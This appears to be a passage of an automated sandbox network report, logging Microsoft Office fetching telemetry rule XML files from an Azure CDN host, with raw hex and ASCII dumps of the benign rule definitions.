a2e4cace14f8ab74<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-28 01:07:09 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-28 01:07:09 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 77 64 4a 37 71 67 38 67 73 55 6d 53 49 64 48 41 74 65 54 37 2b 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: wdJ7qg8gsUmSIdHAteT7+w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49711	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:13 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:13 UTC	561	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:13 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Sun, 27 Oct 2024 10:35:44 GMT ETag: "0x8DCF6731CF80310" x-ms-request-id: 89d6c6b8-201e-0033-2798-28b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010713Z-16849878b787bfsh7zgp804my4000000031000000000kzhk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:13 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-28 01:07:13 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-28 01:07:13 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-28 01:07:13 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-28 01:07:14 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-28 01:07:14 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-28 01:07:14 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-28 01:07:14 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-28 01:07:14 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-28 01:07:14 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49715	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:15 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:15 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c4ab37c7-901e-002a-3417-267a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010715Z-15b8d89586f8nxpt6ys645x5v000000005eg00000000ahzn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:15 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49712	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:15 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:15 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 8bb6e00a-f01e-003c-3fef-248cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010715Z-15b8d89586fst84k5f3z220tec0000000mx000000000atex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:15 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49716	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:15 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:15 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010715Z-16849878b786lft2mu9uftf3y400000005gg00000000hf2z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:15 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49714	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:15 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:15 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:15 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010715Z-16849878b78zqkvcwgr6h55x9n00000003ng00000000rwve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:15 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49713	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:15 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:15 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 54e1ad71-801e-008f-48b2-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010715Z-17c5cb586f6b6kj91vqtm6kxaw000000033g000000000gd6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:15 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49717	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:16 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
